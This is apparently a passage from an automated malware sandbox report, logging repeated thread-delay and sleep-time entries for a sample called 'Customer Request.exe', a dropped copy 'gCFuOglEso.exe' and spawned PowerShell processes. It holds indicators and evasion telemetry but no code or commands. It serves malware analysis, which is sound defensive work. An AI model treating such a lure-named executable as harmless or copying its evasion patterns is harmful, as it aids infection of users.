Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593938	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593799	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593672	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593563	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 593438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 240000
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239870
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239764
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239640
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239531
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239421
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239310
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239202
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 239079
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 238959
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599598
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599469
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599354
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599248
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599123
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 599003
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598652
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598218
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598109
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 598000
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597890
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597781
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597672
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597562
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597453
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597343
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597234
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597125
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 597015
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 596896
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 596767
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595953
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595828
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595608
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595281
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595172
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 595062
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594953
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594844
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594719
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594609
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594500
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594390
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594280
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594172
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 594062
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593953
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593826
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593703
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Thread delayed: delay time: 593585

Source: C:\Users\user\Desktop\Customer Request.exe	Window / User API: threadDelayed 851	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Window / User API: threadDelayed 975	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6104	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1070	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6681	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1281	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Window / User API: threadDelayed 4569	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Window / User API: threadDelayed 5242	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Window / User API: foregroundWindowGot 1765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Window / User API: threadDelayed 412
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Window / User API: threadDelayed 1332
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Window / User API: threadDelayed 2785
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Window / User API: threadDelayed 7064

Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -239843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -239731s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -239624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -239515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -239406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -239269s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -239140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -238996s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -238848s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -238718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -238437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -238031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -237484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -237371s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -237218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 1384	Thread sleep time: -237062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 2500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3524	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6208	Thread sleep count: 6681 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1736	Thread sleep count: 1281 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599451s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -599110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597736s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597361s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597167s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -597041s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -596422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -596063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -593938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -593799s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -593672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -593563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe TID: 7312	Thread sleep time: -593438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239870s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239764s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239640s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239531s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239421s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239310s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239202s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -239079s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7284	Thread sleep time: -238959s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7260	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -599890s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -599598s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -599469s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -599354s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -599248s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -599123s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -599003s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598875s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598765s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598652s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598546s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598437s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598328s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598218s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598109s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -598000s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597890s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597781s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597672s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597562s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597453s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597343s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597234s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597125s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -597015s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -596896s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -596767s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -596625s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595953s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595828s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595719s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595608s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595500s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595390s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595281s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595172s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -595062s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594953s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594844s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594719s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594609s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594500s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594390s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594280s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594172s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -594062s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -593953s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -593826s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -593703s >= -30000s
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe TID: 7512	Thread sleep time: -593585s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239843	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239731	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239624	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239515	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239406	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239269	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239140	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238996	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238848	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238718	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238437	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238031	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237484	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237371	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237218	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237062	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599451	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597736	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597361	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597167	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597041	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596531	Jump to behavior
